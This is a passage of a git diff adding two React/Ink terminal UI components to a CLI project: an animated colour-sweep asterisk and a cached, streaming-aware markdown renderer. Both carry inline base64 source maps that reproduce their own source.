UFBQTtJQUFBQSxFQUFBLEdBQUFULENBQUE7RUFBQTtFQUFBLElBQUFXLEVBQUE7RUFBQSxJQUFBWCxDQUFBLFFBQUFHLFlBQUE7SUFQSFEsRUFBQSxJQUFDLE1BQU0sQ0FDSSxPQU1SLENBTlEsQ0FBQUYsRUFNVCxDQUFDLENBQ1NOLFFBQVksQ0FBWkEsYUFBVyxDQUFDLEdBQ3RCO0lBQUFILENBQUEsTUFBQUcsWUFBQTtJQUFBSCxDQUFBLE1BQUFXLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFYLENBQUE7RUFBQTtFQUFBLElBQUFZLEVBQUE7RUFBQSxJQUFBWixDQUFBLFFBQUFILE1BQUEsSUFBQUcsQ0FBQSxTQUFBSyxFQUFBLElBQUFMLENBQUEsU0FBQVcsRUFBQTtJQWRKQyxFQUFBLElBQUMsTUFBTSxDQUFPLEtBQWdCLENBQWhCLGdCQUFnQixDQUFXZixRQUFNLENBQU5BLE9BQUssQ0FBQyxDQUFRLEtBQVMsQ0FBVCxTQUFTLENBQzlELENBQUFRLEVBQStDLENBQy9DLENBQUFDLEVBRU0sQ0FDTixDQUFBSyxFQVNDLENBQ0gsRUFmQyxNQUFNLENBZUU7SUFBQVgsQ0FBQSxNQUFBSCxNQUFBO0lBQUFHLENBQUEsT0FBQUssRUFBQTtJQUFBTCxDQUFBLE9BQUFXLEVBQUE7SUFBQVgsQ0FBQSxPQUFBWSxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBWixDQUFBO0VBQUE7RUFBQSxPQWZUWSxFQWVTO0FBQUEiLCJpZ25vcmVMaXN0IjpbXX0=
\ No newline at end of file
diff --git a/cc-haha/src/components/LogoV2/AnimatedAsterisk.tsx b/cc-haha/src/components/LogoV2/AnimatedAsterisk.tsx
new file mode 100644
index 0000000..116f908
--- /dev/null
+++ b/cc-haha/src/components/LogoV2/AnimatedAsterisk.tsx
@@ -0,0 +1,50 @@
+import * as React from 'react';
+import { useEffect, useRef, useState } from 'react';
+import { TEARDROP_ASTERISK } from '../../constants/figures.js';
+import { Box, Text, useAnimationFrame } from '../../ink.js';
+import { getInitialSettings } from '../../utils/settings/settings.js';
+import { hueToRgb, toRGBColor } from '../Spinner/utils.js';
+const SWEEP_DURATION_MS = 1500;
+const SWEEP_COUNT = 2;
+const TOTAL_ANIMATION_MS = SWEEP_DURATION_MS * SWEEP_COUNT;
+const SETTLED_GREY = toRGBColor({
+  r: 153,
+  g: 153,
+  b: 153
+});
+export function AnimatedAsterisk({
+  char = TEARDROP_ASTERISK
+}: {
+  char?: string;
+}): React.ReactNode {
+  // Read prefersReducedMotion once at mount — no useSettings() subscription,
+  // since that would re-render whenever settings change.
+  const [reducedMotion] = useState(() => getInitialSettings().prefersReducedMotion ?? false);
+  const [done, setDone] = useState(reducedMotion);
+  // useAnimationFrame's clock is shared — capture our start offset so the
+  // sweep always begins at hue 0 regardless of when we mount.
+  const startTimeRef = useRef<number | null>(null);
+  // Wire the ref so useAnimationFrame's viewport-pause kicks in: if the
+  // user submits a message before the sweep finishes, the clock stops
+  // automatically once this row enters scrollback (prevents flicker).
+  const [ref, time] = useAnimationFrame(done ? null : 50);
+  useEffect(() => {
+    if (done) return;
+    const t = setTimeout(setDone, TOTAL_ANIMATION_MS, true);
+    return () => clearTimeout(t);
+  }, [done]);
+  if (done) {
+    return <Box ref={ref}>
+        <Text color={SETTLED_GREY}>{char}</Text>
+      </Box>;
+  }
+  if (startTimeRef.current === null) {
+    startTimeRef.current = time;
+  }
+  const elapsed = time - startTimeRef.current;
+  const hue = elapsed / SWEEP_DURATION_MS * 360 % 360;
+  return <Box ref={ref}>
+      <Text color={toRGBColor(hueToRgb(hue))}>{char}</Text>
+    </Box>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInVzZUVmZmVjdCIsInVzZVJlZiIsInVzZVN0YXRlIiwiVEVBUkRST1BfQVNURVJJU0siLCJCb3giLCJUZXh0IiwidXNlQW5pbWF0aW9uRnJhbWUiLCJnZXRJbml0aWFsU2V0dGluZ3MiLCJodWVUb1JnYiIsInRvUkdCQ29sb3IiLCJTV0VFUF9EVVJBVElPTl9NUyIsIlNXRUVQX0NPVU5UIiwiVE9UQUxfQU5JTUFUSU9OX01TIiwiU0VUVExFRF9HUkVZIiwiciIsImciLCJiIiwiQW5pbWF0ZWRBc3RlcmlzayIsImNoYXIiLCJSZWFjdE5vZGUiLCJyZWR1Y2VkTW90aW9uIiwicHJlZmVyc1JlZHVjZWRNb3Rpb24iLCJkb25lIiwic2V0RG9uZSIsInN0YXJ0VGltZVJlZiIsInJlZiIsInRpbWUiLCJ0Iiwic2V0VGltZW91dCIsImNsZWFyVGltZW91dCIsImN1cnJlbnQiLCJlbGFwc2VkIiwiaHVlIl0sInNvdXJjZXMiOlsiQW5pbWF0ZWRBc3Rlcmlzay50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyB1c2VFZmZlY3QsIHVzZVJlZiwgdXNlU3RhdGUgfSBmcm9tICdyZWFjdCdcbmltcG9ydCB7IFRFQVJEUk9QX0FTVEVSSVNLIH0gZnJvbSAnLi4vLi4vY29uc3RhbnRzL2ZpZ3VyZXMuanMnXG5pbXBvcnQgeyBCb3gsIFRleHQsIHVzZUFuaW1hdGlvbkZyYW1lIH0gZnJvbSAnLi4vLi4vaW5rLmpzJ1xuaW1wb3J0IHsgZ2V0SW5pdGlhbFNldHRpbmdzIH0gZnJvbSAnLi4vLi4vdXRpbHMvc2V0dGluZ3Mvc2V0dGluZ3MuanMnXG5pbXBvcnQgeyBodWVUb1JnYiwgdG9SR0JDb2xvciB9IGZyb20gJy4uL1NwaW5uZXIvdXRpbHMuanMnXG5cbmNvbnN0IFNXRUVQX0RVUkFUSU9OX01TID0gMTUwMFxuY29uc3QgU1dFRVBfQ09VTlQgPSAyXG5jb25zdCBUT1RBTF9BTklNQVRJT05fTVMgPSBTV0VFUF9EVVJBVElPTl9NUyAqIFNXRUVQX0NPVU5UXG5jb25zdCBTRVRUTEVEX0dSRVkgPSB0b1JHQkNvbG9yKHsgcjogMTUzLCBnOiAxNTMsIGI6IDE1MyB9KVxuXG5leHBvcnQgZnVuY3Rpb24gQW5pbWF0ZWRBc3Rlcmlzayh7XG4gIGNoYXIgPSBURUFSRFJPUF9BU1RFUklTSyxcbn06IHtcbiAgY2hhcj86IHN0cmluZ1xufSk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIC8vIFJlYWQgcHJlZmVyc1JlZHVjZWRNb3Rpb24gb25jZSBhdCBtb3VudCDigJQgbm8gdXNlU2V0dGluZ3MoKSBzdWJzY3JpcHRpb24sXG4gIC8vIHNpbmNlIHRoYXQgd291bGQgcmUtcmVuZGVyIHdoZW5ldmVyIHNldHRpbmdzIGNoYW5nZS5cbiAgY29uc3QgW3JlZHVjZWRNb3Rpb25dID0gdXNlU3RhdGUoXG4gICAgKCkgPT4gZ2V0SW5pdGlhbFNldHRpbmdzKCkucHJlZmVyc1JlZHVjZWRNb3Rpb24gPz8gZmFsc2UsXG4gIClcbiAgY29uc3QgW2RvbmUsIHNldERvbmVdID0gdXNlU3RhdGUocmVkdWNlZE1vdGlvbilcbiAgLy8gdXNlQW5pbWF0aW9uRnJhbWUncyBjbG9jayBpcyBzaGFyZWQg4oCUIGNhcHR1cmUgb3VyIHN0YXJ0IG9mZnNldCBzbyB0aGVcbiAgLy8gc3dlZXAgYWx3YXlzIGJlZ2lucyBhdCBodWUgMCByZWdhcmRsZXNzIG9mIHdoZW4gd2UgbW91bnQuXG4gIGNvbnN0IHN0YXJ0VGltZVJlZiA9IHVzZVJlZjxudW1iZXIgfCBudWxsPihudWxsKVxuICAvLyBXaXJlIHRoZSByZWYgc28gdXNlQW5pbWF0aW9uRnJhbWUncyB2aWV3cG9ydC1wYXVzZSBraWNrcyBpbjogaWYgdGhlXG4gIC8vIHVzZXIgc3VibWl0cyBhIG1lc3NhZ2UgYmVmb3JlIHRoZSBzd2VlcCBmaW5pc2hlcywgdGhlIGNsb2NrIHN0b3BzXG4gIC8vIGF1dG9tYXRpY2FsbHkgb25jZSB0aGlzIHJvdyBlbnRlcnMgc2Nyb2xsYmFjayAocHJldmVudHMgZmxpY2tlcikuXG4gIGNvbnN0IFtyZWYsIHRpbWVdID0gdXNlQW5pbWF0aW9uRnJhbWUoZG9uZSA/IG51bGwgOiA1MClcblxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIGlmIChkb25lKSByZXR1cm5cbiAgICBjb25zdCB0ID0gc2V0VGltZW91dChzZXREb25lLCBUT1RBTF9BTklNQVRJT05fTVMsIHRydWUpXG4gICAgcmV0dXJuICgpID0+IGNsZWFyVGltZW91dCh0KVxuICB9LCBbZG9uZV0pXG5cbiAgaWYgKGRvbmUpIHtcbiAgICByZXR1cm4gKFxuICAgICAgPEJveCByZWY9e3JlZn0+XG4gICAgICAgIDxUZXh0IGNvbG9yPXtTRVRUTEVEX0dSRVl9PntjaGFyfTwvVGV4dD5cbiAgICAgIDwvQm94PlxuICAgIClcbiAgfVxuXG4gIGlmIChzdGFydFRpbWVSZWYuY3VycmVudCA9PT0gbnVsbCkge1xuICAgIHN0YXJ0VGltZVJlZi5jdXJyZW50ID0gdGltZVxuICB9XG4gIGNvbnN0IGVsYXBzZWQgPSB0aW1lIC0gc3RhcnRUaW1lUmVmLmN1cnJlbnRcbiAgY29uc3QgaHVlID0gKChlbGFwc2VkIC8gU1dFRVBfRFVSQVRJT05fTVMpICogMzYwKSAlIDM2MFxuXG4gIHJldHVybiAoXG4gICAgPEJveCByZWY9e3JlZn0+XG4gICAgICA8VGV4dCBjb2xvcj17dG9SR0JDb2xvcihodWVUb1JnYihodWUpKX0+e2NoYXJ9PC9UZXh0PlxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiJBQUFBLE9BQU8sS0FBS0EsS0FBSyxNQUFNLE9BQU87QUFDOUIsU0FBU0MsU0FBUyxFQUFFQyxNQUFNLEVBQUVDLFFBQVEsUUFBUSxPQUFPO0FBQ25ELFNBQVNDLGlCQUFpQixRQUFRLDRCQUE0QjtBQUM5RCxTQUFTQyxHQUFHLEVBQUVDLElBQUksRUFBRUMsaUJBQWlCLFFBQVEsY0FBYztBQUMzRCxTQUFTQyxrQkFBa0IsUUFBUSxrQ0FBa0M7QUFDckUsU0FBU0MsUUFBUSxFQUFFQyxVQUFVLFFBQVEscUJBQXFCO0FBRTFELE1BQU1DLGlCQUFpQixHQUFHLElBQUk7QUFDOUIsTUFBTUMsV0FBVyxHQUFHLENBQUM7QUFDckIsTUFBTUMsa0JBQWtCLEdBQUdGLGlCQUFpQixHQUFHQyxXQUFXO0FBQzFELE1BQU1FLFlBQVksR0FBR0osVUFBVSxDQUFDO0VBQUVLLENBQUMsRUFBRSxHQUFHO0VBQUVDLENBQUMsRUFBRSxHQUFHO0VBQUVDLENBQUMsRUFBRTtBQUFJLENBQUMsQ0FBQztBQUUzRCxPQUFPLFNBQVNDLGdCQUFnQkEsQ0FBQztFQUMvQkMsSUFBSSxHQUFHZjtBQUdULENBRkMsRUFBRTtFQUNEZSxJQUFJLENBQUMsRUFBRSxNQUFNO0FBQ2YsQ0FBQyxDQUFDLEVBQUVuQixLQUFLLENBQUNvQixTQUFTLENBQUM7RUFDbEI7RUFDQTtFQUNBLE1BQU0sQ0FBQ0MsYUFBYSxDQUFDLEdBQUdsQixRQUFRLENBQzlCLE1BQU1LLGtCQUFrQixDQUFDLENBQUMsQ0FBQ2Msb0JBQW9CLElBQUksS0FDckQsQ0FBQztFQUNELE1BQU0sQ0FBQ0MsSUFBSSxFQUFFQyxPQUFPLENBQUMsR0FBR3JCLFFBQVEsQ0FBQ2tCLGFBQWEsQ0FBQztFQUMvQztFQUNBO0VBQ0EsTUFBTUksWUFBWSxHQUFHdkIsTUFBTSxDQUFDLE1BQU0sR0FBRyxJQUFJLENBQUMsQ0FBQyxJQUFJLENBQUM7RUFDaEQ7RUFDQTtFQUNBO0VBQ0EsTUFBTSxDQUFDd0IsR0FBRyxFQUFFQyxJQUFJLENBQUMsR0FBR3BCLGlCQUFpQixDQUFDZ0IsSUFBSSxHQUFHLElBQUksR0FBRyxFQUFFLENBQUM7RUFFdkR0QixTQUFTLENBQUMsTUFBTTtJQUNkLElBQUlzQixJQUFJLEVBQUU7SUFDVixNQUFNSyxDQUFDLEdBQUdDLFVBQVUsQ0FBQ0wsT0FBTyxFQUFFWCxrQkFBa0IsRUFBRSxJQUFJLENBQUM7SUFDdkQsT0FBTyxNQUFNaUIsWUFBWSxDQUFDRixDQUFDLENBQUM7RUFDOUIsQ0FBQyxFQUFFLENBQUNMLElBQUksQ0FBQyxDQUFDO0VBRVYsSUFBSUEsSUFBSSxFQUFFO0lBQ1IsT0FDRSxDQUFDLEdBQUcsQ0FBQyxHQUFHLENBQUMsQ0FBQ0csR0FBRyxDQUFDO0FBQ3BCLFFBQVEsQ0FBQyxJQUFJLENBQUMsS0FBSyxDQUFDLENBQUNaLFlBQVksQ0FBQyxDQUFDLENBQUNLLElBQUksQ0FBQyxFQUFFLElBQUk7QUFDL0MsTUFBTSxFQUFFLEdBQUcsQ0FBQztFQUVWO0VBRUEsSUFBSU0sWUFBWSxDQUFDTSxPQUFPLEtBQUssSUFBSSxFQUFFO0lBQ2pDTixZQUFZLENBQUNNLE9BQU8sR0FBR0osSUFBSTtFQUM3QjtFQUNBLE1BQU1LLE9BQU8sR0FBR0wsSUFBSSxHQUFHRixZQUFZLENBQUNNLE9BQU87RUFDM0MsTUFBTUUsR0FBRyxHQUFLRCxPQUFPLEdBQUdyQixpQkFBaUIsR0FBSSxHQUFHLEdBQUksR0FBRztFQUV2RCxPQUNFLENBQUMsR0FBRyxDQUFDLEdBQUcsQ0FBQyxDQUFDZSxHQUFHLENBQUM7QUFDbEIsTUFBTSxDQUFDLElBQUksQ0FBQyxLQUFLLENBQUMsQ0FBQ2hCLFVBQVUsQ0FBQ0QsUUFBUSxDQUFDd0IsR0FBRyxDQUFDLENBQUMsQ0FBQyxDQUFDLENBQUNkLElBQUksQ0FBQyxFQUFFLElBQUk7QUFDMUQsSUFBSSxFQUFFLEdBQUcsQ0FBQztBQUVWIiwiaWdub3JlTGlzdCI6W119
\ No newline at end of file
diff --git a/cc-haha/src/components/Markdown.tsx b/cc-haha/src/components/Markdown.tsx
new file mode 100644
index 0000000..e82f4c7
--- /dev/null
+++ b/cc-haha/src/components/Markdown.tsx
@@ -0,0 +1,236 @@
+import { c as _c } from "react/compiler-runtime";
+import { marked, type Token, type Tokens } from 'marked';
+import React, { Suspense, use, useMemo, useRef } from 'react';
+import { useSettings } from '../hooks/useSettings.js';
+import { Ansi, Box, useTheme } from '../ink.js';
+import { type CliHighlight, getCliHighlightPromise } from '../utils/cliHighlight.js';
+import { hashContent } from '../utils/hash.js';
+import { configureMarked, formatToken } from '../utils/markdown.js';
+import { stripPromptXMLTags } from '../utils/messages.js';
+import { MarkdownTable } from './MarkdownTable.js';
+type Props = {
+  children: string;
+  /** When true, render all text content as dim */
+  dimColor?: boolean;
+};
+
+// Module-level token cache — marked.lexer is the hot cost on virtual-scroll
+// remounts (~3ms per message). useMemo doesn't survive unmount→remount, so
+// scrolling back to a previously-visible message re-parses. Messages are
+// immutable in history; same content → same tokens. Keyed by hash to avoid
+// retaining full content strings (turn50→turn99 RSS regression, #24180).
+const TOKEN_CACHE_MAX = 500;
+const tokenCache = new Map<string, Token[]>();
+
+// Characters that indicate markdown syntax. If none are present, skip the
+// ~3ms marked.lexer call entirely — render as a single paragraph. Covers
+// the majority of short assistant responses and user prompts that are
+// plain sentences. Checked via indexOf (not regex) for speed.
+// Single regex: matches any MD marker or ordered-list start (N. at line start).
+// One pass instead of 10× includes scans.
+const MD_SYNTAX_RE = /[#*`|[>\-_~]|\n\n|^\d+\. |\n\d+\. /;
+function hasMarkdownSyntax(s: string): boolean {
+  // Sample first 500 chars — if markdown exists it's usually early (headers,
+  // code fence, list). Long tool outputs are mostly plain text tails.
+  return MD_SYNTAX_RE.test(s.length > 500 ? s.slice(0, 500) : s);
+}
+function cachedLexer(content: string): Token[] {
+  // Fast path: plain text with no markdown syntax → single paragraph token.
+  // Skips marked.lexer's full GFM parse (~3ms on long content). Not cached —
+  // reconstruction is a single object allocation, and caching would retain
+  // 4× content in raw/text fields plus the hash key for zero benefit.
+  if (!hasMarkdownSyntax(content)) {
+    return [{
+      type: 'paragraph',
+      raw: content,
+      text: content,
+      tokens: [{
+        type: 'text',
+        raw: content,
+        text: content
+      }]
+    } as Token];
+  }
+  const key = hashContent(content);
+  const hit = tokenCache.get(key);
+  if (hit) {
+    // Promote to MRU — without this the eviction is FIFO (scrolling back to
+    // an early message evicts the very item you're looking at).
+    tokenCache.delete(key);
+    tokenCache.set(key, hit);
+    return hit;
+  }
+  const tokens = marked.lexer(content);
+  if (tokenCache.size >= TOKEN_CACHE_MAX) {
+    // LRU-ish: drop oldest. Map preserves insertion order.
+    const first = tokenCache.keys().next().value;
+    if (first !== undefined) tokenCache.delete(first);
+  }
+  tokenCache.set(key, tokens);
+  return tokens;
+}
+
+/**
+ * Renders markdown content using a hybrid approach:
+ * - Tables are rendered as React components with proper flexbox layout
+ * - Other content is rendered as ANSI strings via formatToken
+ */
+export function Markdown(props) {
+  const $ = _c(4);
+  const settings = useSettings();
+  if (settings.syntaxHighlightingDisabled) {
+    let t0;
+    if ($[0] !== props) {
+      t0 = <MarkdownBody {...props} highlight={null} />;
+      $[0] = props;
+      $[1] = t0;
+    } else {
+      t0 = $[1];
+    }
+    return t0;
+  }
+  let t0;
+  if ($[2] !== props) {
+    t0 = <Suspense fallback={<MarkdownBody {...props} highlight={null} />}><MarkdownWithHighlight {...props} /></Suspense>;
+    $[2] = props;
+    $[3] = t0;
+  } else {
+    t0 = $[3];
+  }
+  return t0;
+}
+function MarkdownWithHighlight(props) {
+  const $ = _c(4);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = getCliHighlightPromise();
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const highlight = use(t0);
+  let t1;
+  if ($[1] !== highlight || $[2] !== props) {
+    t1 = <MarkdownBody {...props} highlight={highlight} />;
+    $[1] = highlight;
+    $[2] = props;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+function MarkdownBody(t0) {
+  const $ = _c(7);
+  const {
+    children,
+    dimColor,
+    highlight
+  } = t0;
+  const [theme] = useTheme();
+  configureMarked();
+  let elements;
+  if ($[0] !== children || $[1] !== dimColor || $[2] !== highlight || $[3] !== theme) {
+    const tokens = cachedLexer(stripPromptXMLTags(children));
+    elements = [];
+    let nonTableContent = "";
+    const flushNonTableContent = function flushNonTableContent() {
+      if (nonTableContent) {
+        elements.push(<Ansi key={elements.length} dimColor={dimColor}>{nonTableContent.trim()}</Ansi>);
+        nonTableContent = "";
+      }
+    };
+    for (const token of tokens) {
+      if (token.type === "table") {
+        flushNonTableContent();
+        elements.push(<MarkdownTable key={elements.length} token={token as Tokens.Table} highlight={highlight} />);
+      } else {
+        nonTableContent = nonTableContent + formatToken(token, theme, 0, null, null, highlight);
+        nonTableContent;
+      }
+    }
+    flushNonTableContent();
+    $[0] = children;
+    $[1] = dimColor;
+    $[2] = highlight;
+    $[3] = theme;
+    $[4] = elements;
+  } else {
+    elements = $[4];
+  }
+  const elements_0 = elements;
+  let t1;
+  if ($[5] !== elements_0) {
+    t1 = <Box flexDirection="column" gap={1}>{elements_0}</Box>;
+    $[5] = elements_0;
+    $[6] = t1;
+  } else {
+    t1 = $[6];
+  }
+  return t1;
+}
+type StreamingProps = {
+  children: string;
+};
+
+/**
+ * Renders markdown during streaming by splitting at the last top-level block
+ * boundary: everything before is stable (memoized, never re-parsed), only the
+ * final block is re-parsed per delta. marked.lexer() correctly handles
+ * unclosed code fences as a single token, so block boundaries are always safe.
+ *
+ * The stable boundary only advances (monotonic), so ref mutation during render
+ * is idempotent and safe under StrictMode double-rendering. Component unmounts
+ * between turns (streamingText → null), resetting the ref.
+ */
+export function StreamingMarkdown({
+  children
+}: StreamingProps): React.ReactNode {
+  // React Compiler: this component reads and writes stablePrefixRef.current
+  // during render by design. The boundary only advances (monotonic), so
+  // the ref mutation is idempotent under StrictMode double-render — but the
+  // compiler can't prove that, and memoizing around the ref reads would
+  // break the algorithm (stale boundary). Opt out.
+  'use no memo';
+
+  configureMarked();
+
+  // Strip before boundary tracking so it matches <Markdown>'s stripping
+  // (line 29). When a closing tag arrives, stripped(N+1) is not a prefix
+  // of stripped(N), but the startsWith reset below handles that with a
+  // one-time re-lex on the smaller stripped string.
+  const stripped = stripPromptXMLTags(children);
+  const stablePrefixRef = useRef('');
+
+  // Reset if text was replaced (defensive; normally unmount handles this)
+  if (!stripped.startsWith(stablePrefixRef.current)) {
+    stablePrefixRef.current = '';
+  }
+
+  // Lex only from current boundary — O(unstable length), not O(full text)
+  const boundary = stablePrefixRef.current.length;
+  const tokens = marked.lexer(stripped.substring(boundary));
+
+  // Last non-space token is the growing block; everything before is final
+  let lastContentIdx = tokens.length - 1;
+  while (lastContentIdx >= 0 && tokens[lastContentIdx]!.type === 'space') {
+    lastContentIdx--;
+  }
+  let advance = 0;
+  for (let i = 0; i < lastContentIdx; i++) {
+    advance += tokens[i]!.raw.length;
+  }
+  if (advance > 0) {
+    stablePrefixRef.current = stripped.substring(0, boundary + advance);
+  }
+  const stablePrefix = stablePrefixRef.current;
+  const unstableSuffix = stripped.substring(stablePrefix.length);
+
+  // stablePrefix is memoized inside <Markdown> via useMemo([children, ...])
+  // so it never re-parses as the unstable suffix grows
+  return <Box flexDirection="column" gap={1}>
+      {stablePrefix && <Markdown>{stablePrefix}</Markdown>}
+      {unstableSuffix && <Markdown>{unstableSuffix}</Markdown>}
+    </Box>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJtYXJrZWQiLCJUb2tlbiIsIlRva2VucyIsIlJlYWN0IiwiU3VzcGVuc2UiLCJ1c2UiLCJ1c2VNZW1vIiwidXNlUmVmIiwidXNlU2V0dGluZ3MiLCJBbnNpIiwiQm94IiwidXNlVGhlbWUiLCJDbGlIaWdobGlnaHQiLCJnZXRDbGlIaWdobGlnaHRQcm9taXNlIiwiaGFzaENvbnRlbnQiLCJjb25maWd1cmVNYXJrZWQiLCJmb3JtYXRUb2tlbiIsInN0cmlwUHJvbXB0WE1MVGFncyIsIk1hcmtkb3duVGFibGUiLCJQcm9wcyIsImNoaWxkcmVuIiwiZGltQ29sb3IiLCJUT0tFTl9DQUNIRV9NQVgiLCJ0b2tlbkNhY2hlIiwiTWFwIiwiTURfU1lOVEFYX1JFIiwiaGFzTWFya2Rvd25TeW50YXgiLCJzIiwidGVzdCIsImxlbmd0aCIsInNsaWNlIiwiY2FjaGVkTGV4ZXIiLCJjb250ZW50IiwidHlwZSIsInJhdyIsInRleHQiLCJ0b2tlbnMiLCJrZXkiLCJoaXQiLCJnZXQiLCJkZWxldGUiLCJzZXQiLCJsZXhlciIsInNpemUiLCJmaXJzdCIsImtleXMiLCJuZXh0IiwidmFsdWUiLCJ1bmRlZmluZWQiLCJNYXJrZG93biIsInByb3BzIiwiJCIsIl9jIiwic2V0dGluZ3MiLCJzeW50YXhIaWdobGlnaHRpbmdEaXNhYmxlZCIsInQwIiwiTWFya2Rvd25XaXRoSGlnaGxpZ2h0IiwiU3ltYm9sIiwiZm9yIiwiaGlnaGxpZ2h0IiwidDEiLCJNYXJrZG93bkJvZHkiLCJ0aGVtZSIsImVsZW1lbnRzIiwibm9uVGFibGVDb250ZW50IiwiZmx1c2hOb25UYWJsZUNvbnRlbnQiLCJwdXNoIiwidHJpbSIsInRva2VuIiwiVGFibGUiLCJlbGVtZW50c18wIiwiU3RyZWFtaW5nUHJvcHMiLCJTdHJlYW1pbmdNYXJrZG93biIsIlJlYWN0Tm9kZSIsInN0cmlwcGVkIiwic3RhYmxlUHJlZml4UmVmIiwic3RhcnRzV2l0aCIsImN1cnJlbnQiLCJib3VuZGFyeSIsInN1YnN0cmluZyIsImxhc3RDb250ZW50SWR4IiwiYWR2YW5jZSIsImkiLCJzdGFibGVQcmVmaXgiLCJ1bnN0YWJsZVN1ZmZpeCJdLCJzb3VyY2VzIjpbIk1hcmtkb3duLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgeyBtYXJrZWQsIHR5cGUgVG9rZW4sIHR5cGUgVG9rZW5zIH0gZnJvbSAnbWFya2VkJ1xuaW1wb3J0IFJlYWN0LCB7IFN1c3BlbnNlLCB1c2UsIHVzZU1lbW8sIHVzZVJlZiB9IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgdXNlU2V0dGluZ3MgfSBmcm9tICcuLi9ob29rcy91c2VTZXR0aW5ncy5qcydcbmltcG9ydCB7IEFuc2ksIEJveCwgdXNlVGhlbWUgfSBmcm9tICcuLi9pbmsuanMnXG5pbXBvcnQge1xuICB0eXBlIENsaUhpZ2hsaWdodCxcbiAgZ2V0Q2xpSGlnaGxpZ2h0UHJvbWlzZSxcbn0gZnJvbSAnLi4vdXRpbHMvY2xpSGlnaGxpZ2h0LmpzJ1xuaW1wb3J0IHsgaGFzaENvbnRlbnQgfSBmcm9tICcuLi91dGlscy9oYXNoLmpzJ1xuaW1wb3J0IHsgY29uZmlndXJlTWFya2VkLCBmb3JtYXRUb2tlbiB9IGZyb20gJy4uL3V0aWxzL21hcmtkb3duLmpzJ1xuaW1wb3J0IHsgc3RyaXBQcm9tcHRYTUxUYWdzIH0gZnJvbSAnLi4vdXRpbHMvbWVzc2FnZXMuanMnXG5pbXBvcnQgeyBNYXJrZG93blRhYmxlIH0gZnJvbSAnLi9NYXJrZG93blRhYmxlLmpzJ1xuXG50eXBlIFByb3BzID0ge1xuICBjaGlsZHJlbjogc3RyaW5nXG4gIC8qKiBXaGVuIHRydWUsIHJlbmRlciBhbGwgdGV4dCBjb250ZW50IGFzIGRpbSAqL1xuICBkaW1Db2xvcj86IGJvb2xlYW5cbn1cblxuLy8gTW9kdWxlLWxldmVsIHRva2VuIGNhY2hlIOKAlCBtYXJrZWQubGV4ZXIgaXMgdGhlIGhvdCBjb3N0IG9uIHZpcnR1YWwtc2Nyb2xsXG4vLyByZW1vdW50cyAofjNtcyBwZXIgbWVzc2FnZSkuIHVzZU1lbW8gZG9lc24ndCBzdXJ2aXZlIHVubW91bnTihpJyZW1vdW50LCBzb1xuLy8gc2Nyb2xsaW5nIGJhY2sgdG8gYSBwcmV2aW91c2x5LXZpc2libGUgbWVzc2FnZSByZS1wYXJzZXMuIE1lc3NhZ2VzIGFyZVxuLy8gaW1tdXRhYmxlIGluIGhpc3Rvcnk7IHNhbWUgY29udGVudCDihpIgc2FtZSB0b2tlbnMuIEtleWVkIGJ5IGhhc2ggdG8gYXZvaWRcbi8vIHJldGFpbmluZyBmdWxsIGNvbnRlbnQgc3RyaW5ncyAodHVybjUw4oaSdHVybjk5IFJTUyByZWdyZXNzaW9uLCAjMjQxODApLlxuY29uc3QgVE9LRU5fQ0FDSEVfTUFYID0gNTAwXG5jb25zdCB0b2tlbkNhY2hlID0gbmV3IE1hcDxzdHJpbmcsIFRva2VuW10+KClcblxuLy8gQ2hhcmFjdGVycyB0aGF0IGluZGljYXRlIG1hcmtkb3duIHN5bnRheC4gSWYgbm9uZSBhcmUgcHJlc2VudCwgc2tpcCB0aGVcbi8vIH4zbXMgbWFya2VkLmxleGVyIGNhbGwgZW50aXJlbHkg4oCUIHJlbmRlciBhcyBhIHNpbmdsZSBwYXJhZ3JhcGguIENvdmVyc1xuLy8gdGhlIG1ham9yaXR5IG9mIHNob3J0IGFzc2lzdGFudCByZXNwb25zZXMgYW5kIHVzZXIgcHJvbXB0cyB0aGF0IGFyZVxuLy8gcGxhaW4gc2VudGVuY2VzLiBDaGVja2VkIHZpYSBpbmRleE9mIChub3QgcmVnZXgpIGZvciBzcGVlZC5cbi8vIFNpbmdsZSByZWdleDogbWF0Y2hlcyBhbnkgTUQgbWFya2VyIG9yIG9yZGVyZWQtbGlzdCBzdGFydCAoTi4gYXQgbGluZSBzdGFydCkuXG4vLyBPbmUgcGFzcyBpbnN0ZWFkIG9mIDEww5cgaW5jbHVkZXMgc2NhbnMuXG5jb25zdCBNRF9TWU5UQVhfUkUgPSAvWyMqYHxbPlxcLV9+XXxcXG5cXG58XlxcZCtcXC4gfFxcblxcZCtcXC4gL1xuZnVuY3Rpb24gaGFzTWFya2Rvd25TeW50YXgoczogc3RyaW5nKTogYm9vbGVhbiB7XG4gIC8vIFNhbXBsZSBmaXJzdCA1MDAgY2hhcnMg4oCUIGlmIG1hcmtkb3duIGV4aXN0cyBpdCdzIHVzdWFsbHkgZWFybHkgKGhlYWRlcnMsXG4gIC8vIGNvZGUgZmVuY2UsIGxpc3QpLiBMb25nIHRvb2wgb3V0cHV0cyBhcmUgbW9zdGx5IHBsYWluIHRleHQgdGFpbHMuXG4gIHJldHVybiBNRF9TWU5UQVhfUkUudGVzdChzLmxlbmd0aCA+IDUwMCA/IHMuc2xpY2UoMCwgNTAwKSA6IHMpXG59XG5cbmZ1bmN0aW9uIGNhY2hlZExleGVyKGNvbnRlbnQ6IHN0cmluZyk6IFRva2VuW10ge1xuICAvLyBGYXN0IHBhdGg6IHBsYWluIHRleHQgd2l0aCBubyBtYXJrZG93biBzeW50YXgg4oaSIHNpb